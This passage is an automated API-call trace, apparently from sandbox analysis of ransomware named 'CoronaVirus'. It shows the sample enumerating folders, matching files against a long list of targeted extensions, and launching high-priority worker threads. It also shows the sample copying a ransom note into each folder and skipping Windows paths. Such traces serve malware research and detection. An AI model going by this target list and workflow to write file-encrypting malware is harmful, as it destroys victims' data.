	[0081.983] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.983] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39a973, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea39a973, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.983] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.983] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.983] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.983] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.983] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.983] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.983] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.983] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.983] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.983] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.983] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.983] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.983] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.983] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.983] malloc (_Size=0x1000) returned 0x2f212f0
	[0081.983] _swprintf (in: param_1=0x2f212f0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\CoronaVirus.txt") returned 42
	[0081.983] wcsstr (_Str="C:\\588bce7c90097ed212\\1053\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.983] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.983] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.983] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.983] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.983] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.983] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.983] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.983] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.984] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.984] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.985] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.985] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.986] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.986] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.986] malloc (_Size=0x1000) returned 0x2f25530
	[0081.986] _swprintf (in: param_1=0x2f25530, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0081.986] wcsstr (_Str="C:\\588bce7c90097ed212\\1053\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.986] wcsstr (_Str="C:\\588bce7c90097ed212\\1053\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.986] wcsstr (_Str="C:\\588bce7c90097ed212\\1053\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f25530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8
	[0081.986] SetThreadPriority (hThread=0x4a8, nPriority=15) returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.988] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.988] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.991] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.991] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.991] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.991] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.991] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.991] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.991] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.991] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.991] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.991] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.991] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.991] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.991] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.991] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.992] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.992] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.992] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.992] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.992] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.993] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.993] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.993] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.993] malloc (_Size=0x1000) returned 0x2f26538
	[0081.993] _swprintf (in: param_1=0x2f26538, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0081.993] wcsstr (_Str="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.993] wcsstr (_Str="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.993] wcsstr (_Str="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f26538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4
	[0082.034] SetThreadPriority (hThread=0x4a4, nPriority=15) returned 1
	[0082.037] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0082.037] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.037] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.037] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.037] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.037] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.043] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.043] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.043] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.043] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.043] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.054] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.054] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.055] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.055] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.056] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.056] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.057] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.057] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.057] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.057] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.057] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.057] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.057] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.057] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.057] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.057] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.057] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.057] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.057] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.057] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0082.057] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.057] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0082.057] FindClose (in: hFindFile=0x600b90 | out: hFindFile=0x600b90) returned 1
	[0082.057] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1
	[0082.057] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0082.057] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0082.057] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1055") returned 26
	[0082.057] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0082.057] wcsstr (_Str="C:\\588bce7c90097ed212\\1055", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.057] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.076] _alloca_probe () returned 0x4036d0
	[0082.077] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1055", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1055", lpFilePart=0x316583c*="1055") returned 0x1a
	[0082.077] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea47f6fb, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0082.077] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.077] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea47f6fb, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.077] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.077] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea459559, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea459559, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.077] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.077] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.077] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.077] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.077] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.077] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.077] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.077] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.077] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.077] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.077] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
